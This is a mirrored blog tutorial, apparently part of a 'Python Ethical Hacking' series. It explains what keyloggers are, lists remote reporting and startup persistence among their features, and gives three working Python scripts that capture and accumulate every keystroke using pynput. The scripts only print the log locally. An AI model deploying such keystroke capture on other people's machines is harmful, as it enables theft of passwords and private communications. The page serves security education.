zoukankan      html  css  js  c++  java
  • Python Ethical Hacking

    A program that records keys pressed on the keyboard.

    Common features:

    Store logs locally(local keyloggers).

    • Report logs to an email or remote server(remote keyloggers).
    • Log screenshots.
    • Start with system startup.

    Third-Party Module: pynput

    pip install pynput

    The simple Python Keylogger code:

    #!/usr/bin/env python
    import pynput.keyboard
    
    def process_key_press(key):
        print(key)
    
    keyboard_listener = pynput.keyboard.Listener(on_press = process_key_press)
    with keyboard_listener:
        keyboard_listener.join()

    Using global variables to log all the key log.

    #!/usr/bin/env python
    import pynput.keyboard
    
    log = ""
    def process_key_press(key):
        global log
        log = log + str(key)
        print(log)
    
    keyboard_listener = pynput.keyboard.Listener(on_press = process_key_press)
    with keyboard_listener:
        keyboard_listener.join()

     Logging special Keys with polishing the Python code.

    #!/usr/bin/env python
    import pynput.keyboard
    
    log = ""
    def process_key_press(key):
        global log
        try:
            log = log + str(key.char)
        except AttributeError:
            if key == key.space:
                log = log + " "
            else:
                log = log + " " + str(key) + " "
        print(log)
    
    keyboard_listener = pynput.keyboard.Listener(on_press = process_key_press)
    with keyboard_listener:
        keyboard_listener.join()

    相信未来 - 该面对的绝不逃避,该执著的永不怨悔,该舍弃的不再留念,该珍惜的好好把握。
  • 相关阅读:
    十天学会php之第一天
    学习PHP的一些经验
    PHP中的数据类型(1)
    PHP中的常量
    赵凡导师并发知识第一次分享观后感
    面向对象之 __setitem__()、__getitem__()、__delitem__() 用法
    spider数据抓取(第二章)
    识别网站所用技术
    scrapy安装要求
    基于bs4的防止xss攻击,过滤script标签
  • 原文地址:https://www.cnblogs.com/keepmoving1113/p/11622818.html
Copyright © 2011-2022 走看看